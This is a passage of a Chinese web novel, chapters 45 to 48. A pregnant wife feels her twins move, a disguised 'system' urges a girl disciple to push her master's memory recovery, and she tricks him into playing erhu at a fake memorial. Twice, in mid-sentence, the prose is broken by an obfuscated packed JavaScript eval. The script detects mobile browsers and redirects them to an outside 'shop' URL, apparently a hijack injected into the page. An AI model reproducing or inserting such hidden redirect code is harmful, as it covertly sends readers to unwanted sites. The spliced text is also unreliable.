他喉结滚动了一下,想说什么,却一个字也吐不出来。 最后还是林芊雅先开了口。 她轻轻吸了口气,脸上努力挤出一点笑容,声音还算平稳:“没事的。大夫不是也说,眼下胎象还算稳固吗?两个孩子都好好的。” 她顿了顿,像是想转移话题,又像是真的好奇,看向老大夫,问道:“大夫,我还有一事不解。听说寻常妇人怀胎四月左右便有胎动了,我这都五个月了,却一直没什么动静。不知……这是何缘故?孩子们……可还好?” 老大夫闻言,神色倒是缓和了些,捋着胡子道:“夫人不必多虑。胎动早晚,因人而异,也因孩儿性情而异。有些孩子活泼好动,动得便早一些;有些孩子性子静,不爱动弹,动得便晚些。从脉象看,两位小公子小姐身体康健,并无大碍。夫人如今最要紧的,是放宽心,好生将养,切勿思虑过重,平日琐事也尽量少操劳些。” 听到孩子没事,林芊雅心里又踏实了些,点了点头:“我记下了。” 叶英也沉声道:“有劳大夫。” 老大夫又嘱咐了几句饮食起居的注意事项,开了张新的安胎方子,便提着药箱告辞了。 春华红着眼眶送大夫出去,屋里便又只剩下他们夫妻二人。 方才那点强撑出来的轻松,随着大夫的离开,也渐渐散了。 林芊雅靠在软枕上,沉默了一会儿,然后朝叶英伸出手。 叶英立刻上前,在榻边坐下,握住她的手。 她的手有些凉。 林芊雅将脸靠在他肩上,声音轻轻的,带着点故作轻松的调子:“夫君,别太担心。你看,我现在不是每天都乖乖喝药吗?孩子们也都好好的。大夫嘛,总是喜欢往严重了说,好让咱们更上心些。” 她抬起头,看着他紧绷的下颌线,伸手轻轻抚了抚:“孩子们都会平平安安的,我也会平平安安的。我们一家四口,会好好的。” 叶英没说话,只是收紧了手臂,将她更紧地拥进怀里。另一只手覆上她隆起的腹部,掌心能感觉到那下面生命的温热与坚实。 他低下头,将脸埋在她发间,深深吸了口气。 不管用什么方法,他一定要护住她和孩子们。 绝对。 两人就这么静静依偎着,谁也没再说话,只是交握的手,十指紧扣,用力得指节都有些泛白。 而就在这满室沉寂的时刻—— 林芊雅忽然感觉到肚子里,被什么极轻极软地碰了一下。 像是一片羽毛拂过,又像是一条小鱼在静谧的水中轻轻摆了摆尾。 她整个人都僵住了,连呼吸都屏住了。 叶英立刻察觉到她的异样,松开她,低头看去:“怎么了?” 林芊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224210|197544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雅没回答,只是慢慢地将手从他掌心抽出来,颤抖着,轻轻地、小心翼翼地覆上自己的肚子。 然后,她又感觉到了。 这一次更清晰些。 不是一下,是接连两下极轻微的、带着某种笨拙试探意味的顶动。隔着衣料和皮肉,传递到她掌心。 是……胎动? 她猛地抬起头,看向叶英,眼睛睁得大大的,里面瞬间盈满了不敢置信的惊喜和一层薄薄的水光。 “夫君……”她的声音都在发抖,“孩子……孩子动了!” 叶英也愣住了。 他看着她瞬间亮起来的眼眸,看着她脸上那混合着惊喜、激动、甚至有点想哭的表情,再感受到自己掌心下那隔着她的手掌传来的微弱却真实存在的动静…… 一种前所未有的奇异的暖流猛地冲进他胸口,将那沉甸甸的闷疼和担忧都冲散了大半。 他喉头哽了一下,手臂再次收紧,将她完全圈进怀里,下巴抵着她的发顶,低低地“嗯”了一声。 声音有些哑。 林芊雅靠在他怀里,眼泪终于忍不住掉了下来,却是笑着的。她一只手紧紧回抱着他,另一只手依旧轻轻贴在肚子上,感受着那里面两个小生命第一次与父母的“打招呼”。 一下,又一下。 虽然轻微,却充满了生机。 肚子里,两个小家伙其实各有各的想法。 作为兄长的那个,自打有意识起,便觉得这方寸之地昏暗憋闷,动弹不得,甚是无趣。 他性子本就清冷喜静,索性便收敛了所有外露的意念,沉入自身灵台深处,继续他未竟的功课去了。外界时光流逝,于他而言不过弹指,等他觉得差不多了,神识微动,从深沉的静定中醒来时,才发现已过去数月。 他正待重新阖目,却被隔壁传来的一阵细微却持续的躁动给扰了。 那动静来自他的同胞妹妹。 小姑娘原本也安安静静的,可方才外面父母那沉重压抑的担忧情绪,似乎隔着血肉传递了进来。她懵懵懂懂,却能感觉到娘亲的不安。和爹爹的紧绷。她想了想,觉得应该做点什么。 于是,她小心翼翼地,试探着,伸出自己软乎乎的小手,在有限空间里轻轻动了一下。 这一动,就把旁边刚醒来的兄长给惊动了。 兄长的意识扫过来,带着被打扰的不悦,虽未言语,但那意念里的意思却很清晰:何事聒噪? 小姑娘被这冷冰冰的意念扫过,吓得一个激灵,小身子都缩了缩。 但片刻后,她又想起外面忧心忡忡的娘亲,犹豫了一下,还是再次鼓起勇气,伸出小手,更轻柔地带着点讨好意味地,又动了一下。 这一次,外面的娘亲感觉到了。 兄长的意识顿了顿。 他“看”着妹妹那笨拙又坚持的动作,又“听”着外面瞬间响起的、带着惊喜哽咽的抽气声和父亲那声低哑的“嗯”。 罢了。 既然投身于此,成了这二人的骨血,承了这身血肉因果,些许回应,也是应当。 免得他们再多生无谓担忧。 于是,他也略略动了动手脚,幅度比妹妹更小,却更沉稳有力。 外面,正激动相拥的父母,立刻又感觉到了另一股不同的更有力些的胎动。 林芊雅的眼泪流得更凶了,却是笑着的,她抓着叶英的手,一起贴在自己肚子上:“你看!两个!两个都在动!他们知道我们在担心,在跟我们说话呢!” 叶英的手掌被她按着,清晰地感受着那下面传来的属于两个小生命的鲜活而真实的律动。 他低下头,看着妻子泪光盈盈却笑靥如花的脸,再看看那高高隆起的此刻正微微起伏的腹部,心里那片沉的让人喘息不过来的深海终于被这突如其来的巨大的喜悦照进了一道亮光。 如此明亮,如此心安。 他收紧手臂,将她更深地拥入怀中,下巴轻轻蹭着她的发顶,低低郑重地又说了一遍: “嗯。” 不管前路如何,他一定会护住他们。 他的妻子,他的孩子们。 一个都不能少。 46. 音乐的魅力 几家欢喜几家愁。 自打大夫说了那番话,府里的气氛便有些沉 相府里头,因为双胎有了胎动,夫妻两个悬着的心稍稍落了些,府里的气氛也松快了不少。 可客院里,云华水月却有点笑不出来。 师娘这胎怀得凶险,大夫说得严重,府里下人们私底下也都忧心忡忡的。 虽然林芊雅和叶英面上都尽量显得平静,互相安慰着说没事,可那份压在心底的担忧,是骗不了人的。 尤其是林芊雅,肚子一天比一天大,身子却依旧单薄,行动渐渐不便,夜里也睡不安稳。叶英看在眼里,除了更小心地看顾,更多的时候只是沉默地陪着她,握着她的手,仿佛这样就能扛起一切。 云华水月这几天也.安分了不少,不再变着法子闹腾,偶尔来观澜院,也只是安静地坐在一旁,看看书,或者笨手笨脚地帮着春华递个东西,眼神却总往林芊雅肚子上瞟,小脸上带着明显的忧虑。 这日午后,林芊雅喝了药,正倚在榻上假寐。叶英在书房那边,似乎在默写什么心法。云华水月便一个人盘腿坐在自己房间的床上,眉头拧着,在心里问系统。 『系统。』 脑海里那个带着点机械质感的懒洋洋声音响了起来:『嗯?』 『师娘的情况……』云华水月抿了抿唇,『是不是真的很危险啊?』 她用的身体是游戏账号,看着八九岁,可该懂的都懂。双胞胎母体又弱,在古代这种医疗条件下,用脚指头想都知道是鬼门关。现代女人生产都能丢掉半条命了,更别说古代了。 系统顿了一下,才回答道:『是的。危险程度,远超寻常妇人。』 云华水月心下一沉:『为什么?就因为怀了双胎,身体弱?』 『不止。』系统的声音没什么起伏透着一种事不关己的冷漠 『她的情况很特殊,与任何普通女子都不同。她身上的命运线太多,而孕育新生命本身,就是对母体极致的消耗与考验。天时地利人和一个都没有捞到,对她而言,这种消耗与风险是倍增的。』 云华水月听不太懂什么时机,但她明白“危险倍增”的意思。 她想起师娘温柔含笑的眼睛,想起师父沉默却专注的守护,再想想那日大夫说完话后满屋压抑的沉寂,心里忽然堵得厉害。 『那……』她抱着膝盖,声音低低的,『有办法吗?怎么样才能让师娘平安?』 这一次,系统沉默了更久。 远在大唐世界,正默默观察的纯阳子,此刻也透过这层伪装看着明朝相府花园里那个抱着膝盖满脸愁绪的小姑娘。 他当然有办法。 或者说,他手里有能增加成功几率的筹码。 这个被伪装成系统的通道,连接着两个世界,也链接着叶英被封印的记忆与力量。 纯阳子最初改造它,只是为了方便窥探明朝世界的情况,寻找要回叶英的机会。 可他并不想主动帮叶英恢复记忆,万一记忆恢复过程中又出岔子,或者叶英知道太多后做出什么不可控的事情,那他之前费劲封印岂不是白干了? 但此刻,看着林芊雅那高高隆起却衬得身形越发单薄的腹部,看着她身上那浓密到让纯阳子都心惊的因果线,再想想这个世界正在进行的、近乎赌博般的晋升之路…… 纯阳子捋了捋虚无的胡须,心里叹了口气。 这小破落户天道,为了晋升真是下了血本,也真是……够狠。把全部赌注都压在一个先天不足的女子和她腹中尚未出世的孩子身上。 可事已至此,他既然阴差阳错掺和进来了,还指望着这个世界晋升成功后能把叶英完整地还回来,那眼下就不能真眼睁睁看着最关键的“女主”出意外。 世界晋升的反噬落在那种危机关头,那是天道也无力直接干预的规则碰撞。外力很难直接介入。 但……如果叶英这个“男主”能更快地恢复力量,更清晰地认知自己,如果他和他妻子之间因共同经历而诞生的“故事力”能够更加强大、更加真实…… 那么,在最终冲击来临的时刻,或许就能多一分胜算。 纯阳子快速盘算着。 叶英的记忆恢复进度,通过这段时间云华水月有意无意地推动,以及他自己偶尔的引导,已经悄无声息地推进到了约75%。剩下的部分,是封印的核心,比较顽固,需要更强的刺激或者更充沛的故事能量来冲击。 而这个世界真实化的进程,也因为叶英和林芊雅这对核心的存在,以及云华水月到来后引发的各种事件,已经过半。大约再过几个月,就会迎来最终的质变冲击。 至于未来记忆的事儿,大不了以后就再加个封印。这次肯定没问题了。 此时不加把劲,更待何时? 纯阳子不是婆婆妈妈的人,既然想通了,便有了决断。 不过,他并不打算把这些弯弯绕绕告诉云华水月。这小丫头知道得太多反而容易出问题,她只需要继续当她那个努力做任务推动剧情好回家的穿越者就行。 于是,纯阳子又用那种经过计算的带着点诱导性的机械音开口了: 『办法……也不是没有。』 云华水月眼睛一亮:『什么办法?』 『你师父的记忆恢复,与这个世界的故事力积累密切相关。』 系统“循循善诱”,『如果他能够更快地找回更多的记忆,尤其是那些与情感、责任、守护相关的深刻记忆,那么,他的力量会更为圆融,心志也会更为坚定。这份来自男主的成长,会对这个世界的稳定和核心人物的命运,产生积极的难以估量的影响。』 云华水月听得有点绕:“啥意思?说简单点。” 系统:『意思是,如果你能推动更多故事发生,尤其是让叶英更深入地参与其中,并帮助他恢复更多记忆与力量,那么,最后成真的世界就可能多一分胜算。』 它顿了顿,补充道:『换句话说,如果你能设法推动更多剧情促使你师父恢复更多记忆的事件,那么,你师娘平安生产的可能性,会随之增加。』 云华水月眼睛一亮:“真的?具体要怎么做?多做任务?” 系统:『可以如此理解。完成系统发布的任务,尤其是高难度的、能引发强烈故事共鸣的任务,可以显著增加故事力储备。 她立刻调出只有自己能看到的系统面板,目光落在叶英头像下方那个“记忆恢复进度:75%”的标识上。 还差25%! 她又看向任务列表。日常的、搞怪的、积累技能熟练度的任务她做了不少,但总觉得不够。 而那个一直被她 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可任务奖励里明确写着“记忆碎片催化剂”和“大量故事力”……这不正好对应系统说的,帮助师父恢复记忆、积累保护师娘的力量吗? 师父叶英那边系统显示的记忆恢复进度条已经悄悄爬到了75%。或许再加把劲,就能有突破了? 云华水月盯着那个任务,眼神几番挣扎,最后狠狠心,一咬牙。 师傅,对不住了! 这可不是徒儿我坑你,这是为了师娘和小师弟小师妹!再说了,艺术不分家嘛! 反正现在洗手间都能在游戏里织毛衣了,您拉个二胡……嗯,就当是发展业余爱好,提升艺术修养了! 游戏里长歌门都能用琴剑打架了,咱们藏剑山庄的庄花,多才多艺会拉个二胡怎么啦?很合理啊!说不定还能拓展一下职业技能呢! 这都是为了师娘,为了孩子们,也为了我能早点回去……您就牺牲一下形象吧。 再说了…… 云华水月努力给自己找理由,眼神飘忽。 二胡……二胡音色悠扬,说不定还能做胎教呢?对吧?师父您就当给师弟师妹进行一下音乐启蒙了! 她给自己做足了心理建设,然后深吸一口气,目光重新变得“坚定”起来。带着一种我不入地狱谁入地狱的悲壮 就这么办! 深吸一口气然后接取了那个【终极任务:音乐的魅力】。 任务接取成功的提示音响起。 云华水月看着任务描述,又看了看那诱人的任务奖励握紧了小拳头。 接下来,就是如何让师父自愿拿起二胡了。 直接跟他说?肯定不行。 师父大概率会当她又在胡闹,然后让她去挥一千次剑。 得想个办法,迂回一点,自然一点,最好还能扯上师娘…… 云华水月眼珠转了转,一个绝妙的主意渐渐在脑海中成形。 她拍了拍屁股上的灰,从假山石上跳下来,脸上重新挂起那种天真活泼的笑容,脚步轻快地朝观澜院走去。 师父,师娘,我来了! 这次,我可是带着崇高的目的来的! 47. 庄花居然会拉二胡! 云华水月接取了那个【终极任务:音乐的魅力】之后,整个人就陷入了一种既兴奋又心虚、既悲壮又忍不住想笑的复杂情绪里。 让庄花拉二胡…… 这画面光是想想,就让她头皮发麻,脚趾抠地,同时又莫名地……有点期待? 不行不行,不能笑,要严肃!这是为了师娘!为了师弟师妹!为了师父的记忆恢复!为了世界和平! 她给自己做着心理建设,眼神却越来越亮,像只准备偷鸡的小狐狸。 首先,得准备道具。 二胡当然不能凭空变出来,得去买。 云华水月揣着自己攒下的一点零花钱,还有她自己偶尔“帮忙”后得到的赏钱溜出了相府,熟门熟路地摸到了东市一家乐器铺子。 她个子小,穿着又显眼,一进门就吸引了掌柜的注意。 “小小姐,想买点什么?我们这儿琴瑟琵琶,样样俱全。”掌柜的见她衣着华贵,笑容满面地招呼。 云华水月背着手,装模作样地在店里转了一圈,目光扫过那些古琴、琵琶、笛箫,最后定格在一把挂在墙上的看起来颇为精致的二胡上。 “我要那个。”她小手一指。 掌柜的愣了一下,看了看她,又看了看那把二胡,迟疑道:“小小姐,这二胡……音色苍凉,多是……嗯,年长者或江湖艺人操弄,您这年纪……” “我买来送人的!”云华水月打断他,掏出钱袋,倒出几块碎银,“就要这个,包起来。” 掌柜的见她给钱爽快,便也不再多问,取下二胡,用布包好递给她。 云华水月抱着二胡,又去杂货铺买了些黄纸、香烛,还有一个小巧的铜盆。 一切准备就绪,就等时机了。 接下来的两天,她表现得异常乖巧,除了日常去观澜院请安,陪林芊雅说说话,就是自己待在客院,偶尔能听到她房间里传出几声不成调的锯木头似的二胡声,听得守院的婆子直皱眉,以为这小客人又在折腾什么新玩意儿。 林芊雅也听到了,问起来,云华水月只说是新学的乐器,练着玩。林芊雅也没多想,只叮嘱她别太吵着旁人。 终于,到了云华水月选定的“良辰吉日”——一个看似寻常的夜晚。 月黑风高……哦不,月色其实还行,只是云层有些厚,光线朦朦胧胧的。 府里众人大都歇下了,一片寂静。 云华水月估摸着时间差不多了,便抱着她的“作案工具”,蹑手蹑脚地溜到了后花园一处相对僻静的角落,假山背后,几丛竹子掩映着。 她先在地上铺了块布,摆上那个铜盆,点燃香烛插在旁边的土里,又拿出一叠黄纸,放在手边。 然后,她深吸一口气,酝酿了一下情绪。 “呜……呜呜……” 起初是压抑的、断断续续的抽泣声。 渐渐,声音大了起来,带着明显的哭腔。 “五庄主……呜呜呜……五庄主啊……” 她一边哭,一边拿起一张黄纸,凑到蜡烛上点燃,然后丢进铜盆里。火光跳跃,映着她那张努力挤出悲伤表情的小脸。 “你一路走好啊……呜呜……五庄主……你在下面要多吃点纸钱啊……别省着……呜呜……” 她哭得情真意切,仿佛真的在祭奠一位至亲好友。 “五庄主……你要是没钱用了……你就给我托个梦啊……呜呜……我一定多烧点给你……” 哭声在寂静的花园里回荡,显得格外凄清。 果然,没过多久,观澜院那边就有了动静。 先是林芊雅被这隐隐约约的哭声吵醒,她本就觉浅,又怀着身孕,睡眠更是不安稳。她推了推身边的叶英:“夫君,你听……是不是水月在哭?” 叶英也醒了,侧耳听了听,眉头微蹙。那哭声断断续续,还夹杂着含糊的念叨,确实像是云华水月的声音。 两人对视一眼,都有些不放心。 这大半夜的,那丫头又在搞什么? 林芊雅起身披了件外衣,叶英扶着她,两人循着哭声,慢慢走到了花园。 绕过假山,眼前的景象让两人都愣住了。 只见云华水月跪在一个燃着火苗的铜盆前,面前散落着黄纸,旁边还点着香烛。她小脸上泪痕交错,眼睛红红的,正一边往火盆里丢纸钱,一边抽抽搭搭地哭嚎: “五庄主……你死得好惨啊……呜呜……连个给你拉二胡送行的人都没有了啊……呜呜呜……” 她哭得投入,似乎没注意到有人靠近。 直到林芊雅忍不住轻咳了一声,云华水月才像是被惊到一般,猛地转过头。 看到叶英和林芊雅,她先是“吓了一跳”,随即脸上露出“惊喜”和“委屈”交织的复杂表情,然后—— “师父!师娘!” 她“哇”地一声,从地上爬起来,像颗小炮弹一样直冲过来,目标明确又一把抱住了叶英的腿。 这一次,她抱得比上次更紧,还把满是鼻涕眼泪的小脸使劲往叶英干净的衣摆上蹭了蹭。 叶英身体一僵,低头看着自己腿上新增的湿痕眉头皱得能夹死蚊子了。 林芊雅也看得眼角直抽,连忙递了块帕子过去:“水月,快擦擦。这大半夜的,你在这儿哭什么?祭拜谁呢?” 云华水月接过帕子,却没擦脸,只是用它捂住眼睛,肩膀一抽一抽的,声音带着浓重的哭腔:“师娘……我在祭拜五庄主……呜呜……我可怜的结拜兄弟啊……” 结拜兄弟?五庄主? 叶英和林芊雅都愣了一下。 叶英是隐约记得云华水月提过山庄里有个行五的弟弟,但具体如何,他并无印象。 林芊雅则是完全不明所以,只当是水月以前认识的人。 “五庄主?是你以前的……朋友?”林芊雅温声问,试图理清头绪。 云华水月用力点头,眼泪又涌了出来:“嗯!是我最好的结拜兄弟!藏剑山庄的五庄主,叶凡!” 她一边说,一边偷偷观察叶英的表情。 叶英听到“叶凡”这个名字,眉头几不可查地动了一下。 这个名字,他听云华水月提过,是他那个据说小时候很顽皮爱往外跑的五弟。 “他……怎么了?”叶英开口,声音有些沉。虽然记忆模糊,但听到“兄弟”可能遭遇不测,心里还是莫名一紧。 云华水月见师父上钩,心里暗喜,面上却哭得更伤心了:“他……他英年早逝!死于非命啊!呜呜呜……可惨了!” 死于非命? 叶英的心又沉了沉。 林芊雅也面露不忍,轻轻拍了拍云华水月的背:“节哀。既是你的好友,也是夫君的弟弟,我们理当祭奠。只是……你方才说什么拉二胡送行?” 提到这个,云华水月立刻来了精神,她抬起泪眼朦胧的脸,看向叶英,语气变得“郑重”起来: “师父,您可能不记得了。但是五庄主他……生前最喜欢听歌听曲了!尤其是……尤其是他师傅吹的笛子!” 她顿了顿,在心里给老王道了个歉,然后继续编:“但是吧,他师傅那笛子吹得……嗯,比较有特色,五庄主虽然喜欢听师傅吹,但也总念叨,说这世间若论音乐雅致,还得是师父您拉的二胡最是动人心弦!” 叶英:“……?” 林芊雅:“……?” 二胡?动人心弦? 叶英看着云华水月那“真诚”无比的眼神,第一次对自己的过去产生了深深的怀疑。 他……会拉二胡?还拉得动人心弦? 云华水月趁热打铁,语气更加“沉痛”:“五庄主生前最大的遗憾,就是没能亲耳再听师父您拉一曲二胡。他临终前还拉着我的手说,以后每年祭日,若能听到师父在墓前为他拉一曲二胡送行,他在九泉之下也能瞑目了!” “所以……所以从那以后,每年五庄主的祭日,师父您都会去他墓前,亲手拉上一曲二胡,为他送行……风雨无阻,从未间断……” 她说着,又挤出两滴眼泪:“可是现在……师父您失忆了,我们也都流落在此,祭拜的人没有了,连二胡也没人拉给他听了!他真的好惨啊!呜呜呜……” 她一边哭,一边偷偷瞟着叶英的反应。 叶英沉默地站在那儿,月光照在他没什么表情的脸上。 他总觉得……这徒弟在胡说八道。 什么喜欢听他拉二胡?什么临终遗言? 怎么听怎么像现编的。 可是……万一是真的呢? 万一他那个素未谋面据说已经“英年早逝”的五弟,真的有过这样的心愿呢? 他如今记忆不全,无法验证。若因自己不信,而让弟弟在“九泉之下”不得安宁…… 云华水月见他沉默,心里有点打鼓,连忙又加了一把火,指着旁边地上那把用布包着的二胡,抽噎着说:“师父……您看,我把二胡都准备好了……是我用所有零花钱买的……就想替五庄主完成这个心愿……哪怕就拉一小段呢?让他在下面也能听听……” 林芊雅看着这情景,又看看夫君那明显陷入纠结的侧脸,心里觉得好笑,又有些无奈。 这丫头,为了让她师父拉二胡,真是煞费苦心,连这种理由都搬出来了。 她轻轻拉了拉叶英的衣袖,低声道: “夫君,若真是五弟的心愿……便了却他一桩心事也好。只是……”她看了看那把二胡,又看看云华水月,“水月,你师父他……当真会拉?” 云华水月立刻点头如捣蒜:“会!当然会!师父拉得可好了!是五庄主亲口说的!” 叶英:“……” 他一点印象都没有。 但眼下这情形,似乎由不得他拒绝了。 被亡弟遗愿架着,被小徒弟眼泪汪汪地看着,被妻子温言劝着…… 叶英闭了闭眼,再睁开时,眼底一片认命般的平静。 他走到那把二胡旁,弯腰捡了起来。 入手微沉,琴杆光滑,他试着用手指拨了拨琴弦,只发出两声干涩的“吱嘎”声。 云华水月眼睛瞬间亮了,连忙凑过来,殷勤地递上松香:“师父,给!抹点这个,声音好听!” 叶英接过,依言拉了拉弦。动作有些生疏,但架势倒像那么回事。 “拉什么曲子?”他问,声音没什么起伏。 云华水月立刻报出早就想好的曲名:“《依山观澜》!五庄主最喜欢这首了!他说这曲子就像是为师父您量身定做的!” 《依山观澜》? 叶英默念了一遍这个名字,只觉心底似乎有什么极细微的东西被触动了一下,却又抓不住。 莫名觉得这个名字心有所感。 “怎么拉?”他问得直接。 既然答应了,便要做。哪怕他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224212|197544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 完全不记得曲调。 云华水月早有准备,清了清嗓子,开始哼唱起来: “莺鸣杨柳外~~~曲苑风来荷花展~~~” 她唱得不算好听,甚至有点跑调,但调子倒是哼出来了,带着一种江湖小调的随意感。 叶英听着,凭着对音律那点模糊的本能记忆和手上生疏的感觉,试着将弓子搭上琴弦,缓缓拉动。 “吱——嘎——!” 第一声出来,尖锐刺耳,像钝刀划拉破锅底。 云华水月唱词的声音卡了一下。 林芊雅忍不住抬手捂了捂耳朵,又赶紧放下,努力维持着表情。 叶英自己也顿住了,低头看了看手里的二胡,眉头蹙得更紧。 但他没停。 调整了一下持琴的姿势和运弓的力道,又试了一次。 “吱……嘎……啦……” 这次稍微好了一点点,但依旧难听,像是母猫发情时的夜嚎,又像是野狗夜半的犬吠。 云华水月硬着头皮,继续唱:“月凝听泉台~~~断桥雪隐梅香探~~~” 叶英跟着她哼唱的节奏,一下一下地拉着。 起初的刺耳噪音渐渐变得……规律了一些,虽然依旧谈不上悦耳,甚至可以说得上是折磨,但至少能听出是在试图跟随某个旋律了。 “四季轮回转~~~君子年少独凭栏~~~抱剑观花西湖畔~~~” 云华水月越唱越投入,闭着眼睛,仿佛沉浸在自己的歌声和……师父那“独特”的伴奏里。 叶英也渐渐找到了点感觉。 他虽不记得曲谱,但这哼唱的调子,莫名地让他觉得熟悉,仿佛在很久很久以前,真的在哪里听过,或者……想过? 手中的二胡声,从最初的锯木头,慢慢变得……嗯,至少不那么像杀鸡了。虽然依旧苍凉得紧,但偶尔也能拉出几个勉强算得上圆润的音符。 夜色凄清,花园僻静。假山旁,烛火摇曳,铜盆里的纸钱将熄未熄,冒着缕缕青烟。 一个八九岁的小姑娘闭眼哼唱着调子古怪的歌谣。 一个白发如雪面容清冷的男子,生疏而认真地拉着一把二胡,胡声呕哑嘲哳,与歌声混在一起,构成一幅极其诡异又莫名和谐的……祭奠画面。 林芊雅站在几步之外,看着这一幕,嘴角忍不住抽了抽。 她抬手,轻轻摸了摸自己高高隆起的肚子,心里默默地对里面的两个孩子说: “宝啊,不管你们是儿是女,以后长大了……可千万少跟着你们这师姐混。” “娘怕你们……被她带得不正常。” 肚子里,两个小家伙似乎也被外面这“美妙”的音乐给惊动了,不安分地动了动。 林芊雅感受着那轻微的胎动,再看看那边“深情”演奏的师徒俩,终于忍不住,背过身去,肩膀微微耸动起来。 不能笑,不能笑。 夫君已经很努力了,水月也是一片“孝心”。 虽然这孝心的方式,实在让人……无言以对。 夜色渐深,那“依山观澜”的调子,在叶英手中那把饱受摧残的二胡上,断断续续地响了小半个时辰。 直到云华水月唱得口干舌燥,叶英也拉得手腕发酸,两人才终于停了下来。 云华水月看着系统面板上跳出的【任务完成!奖励已发放!】的提示,以及叶英头像下那又悄悄往前挪了一小截的记忆恢复进度条,心满意足地松了口气。 虽然过程有点……嗯,难以形容,但结果是好的! 她擦了擦并不存在的冷汗,看向叶英,脸上堆起讨好的笑:“师父,您拉得真好!五庄主在下面一定听到了!他肯定很高兴!” 叶英放下二胡,活动了一下有些僵硬的手指,没说话。 他只是看着那把二胡,又看了看铜盆里燃尽的纸灰,心中那点因亡弟而生的淡淡怅惘,似乎也随着这古怪的琴声,飘散了些许。 至于拉得好不好…… 他选择忽略这个问题。 林芊雅走过来,挽住他的胳膊,温声道:“夜深了,回去歇着吧。水月,你也快回去,仔细着凉。” 云华水月连忙点头,手脚麻利地收拾起地上的作案工具,抱着二胡一溜烟跑回了客院。 回到观澜院,林芊雅服了安胎药,重新躺下。 叶英在她身边躺下,手臂习惯性地环过她,掌心覆在她腹侧。 屋里安静下来。 过了一会儿,林芊雅忽然轻声开口,语气里带着浓浓的笑意: “夫君。” “嗯?” “你以后……还是别拉二胡了。” “你拉的时候,孩子一直在狂跟我打招呼。”说到这儿她憋不住又笑出了声。 叶英沉默了一下,低低嗯了一声。 “不过,”林芊雅翻了个身,面对着他,在黑暗中看着他模糊的轮廓,声音更软了些,“水月那孩子……虽然胡闹,但心是好的。” 叶英又嗯了一声,将她往怀里带了带。 “睡吧。”他说。 林芊雅靠在他怀里,闭上眼睛,嘴角却依旧弯着。 夜色深沉,万籁俱寂。 只有客院里,某个完成“壮举”的小丫头,正抱着被子,看着系统奖励,笑得见牙不见眼。 师父,对不住啦!下次……下次我一定找个更靠谱的理由! 48. 风雨飘摇 自那夜二胡送行之后,又平静地过了几日。 叶英依旧是那副寡言少语的模样,每日陪在林芊雅身边,看她喝药,陪她散步,偶尔在院中静立,目光落在虚空,不知在想些什么。 云华水月起初还满怀期待,时不时偷偷观察师父的表情,或者在心里催问系统: 『系统系统!任务完成了!记忆催化剂也用了!师父的记忆恢复进度是不是该大涨了?他有没有想起什么?比如突然头痛?或者眼神变得深邃?』 脑海里,那个伪装成系统的纯阳子意念,老神在在地回应:『急什么。记忆恢复,尤其是封印核心的松动,哪有那么快?需要契机,需要沉淀,需要……嗯,水到渠成。』 云华水月急了:『那要等到什么时候?师娘肚子一天比一天大,时间不等人啊!』 『急什么?记忆恢复,尤其是被强力封印的核心记忆,哪有那么简单?催化剂只是提供了能量和引子,打破了部分屏障,但真正的复苏,需要契机。』 『契机?什么契机?』云华水月追问。 『或许是某个熟悉的场景,某句触动心弦的话语,某段强烈的情感冲击……』系统说得玄乎,『总之,需要时间,也需要……更多的故事力来滋养。』 云华水月听得云里雾里,但大概明白就是还得等。 她叹了口气,有些泄气地趴在桌子上。 『那……师娘那边……』她最担心的还是这个。 『故事力在积累,世界的真实化进程在稳步推进。』系统难得给了句准话,『只要继续下去,希望总是有的。』 云华水月这才稍稍安心了些。 她看着窗外秋日晴朗的天空,又看看观澜院方向。只能按捺下焦急,继续在府里当她的开心果,偶尔变着法子想推动一下剧情,却又不敢再搞像二胡那么离谱的操作了,怕真把师父惹毛了。 她这边是干着急使不上劲,只能祈祷一切顺利。 夜深人静时,观澜院卧房内烛火已熄,只余窗外透进的朦胧月光。 叶英忽然从一片混沌的梦境中惊醒。 那不是噩梦,却比噩梦更令人心慌。 梦里没有具体画面,只有无数模糊的声音交织重叠,焦急的、担忧的、恭敬的、稚气的……一声声“大哥”、“英儿”、“少庄主”……像潮水般涌来听不真切却沉沉地压在心口。 与之相伴的,是额角传来的一阵尖锐的仿佛要将头颅劈开的剧痛。 他猛地睁开眼,冷汗瞬间浸湿了鬓角。手下意识地捂住了额头,指节因为用力而微微发白,呼吸也变得粗重。 “夫君?你怎么了?” 身旁传来林芊雅带着浓浓睡意却立刻转为惊慌的声音。她本就觉浅,被他异常的动静惊醒,借着微光看到他痛苦蜷缩的模样,心更是一下子提到了嗓子眼。 她连忙撑起身,冰凉的手指抚上他冷汗涔涔的额角,声音都带了颤:“是不是头疼?很疼吗?我……我去叫大夫!” 她说着就要掀被下床,动作因为慌乱和孕肚的笨拙而有些踉跄。 “别去。” 叶英一把抓住了她的手腕,力道有些大,声音因为疼痛而压抑沙哑。 就在他抓住她手腕、抬眼看她的那一瞬间—— 仿佛被一道无形的屏障阻隔,那股几乎要撕裂他意识的剧痛,毫无征兆地突然消失了。只剩下一点残留的闷胀感和耳畔嗡嗡的余响。 而方才梦中那些几乎要冲破阻碍呼之欲出的模糊声音和影像,也随着疼痛的消退迅速重新沉入记忆的深海,只留下一丝似乎快要抓住什么的怅惘和空洞。 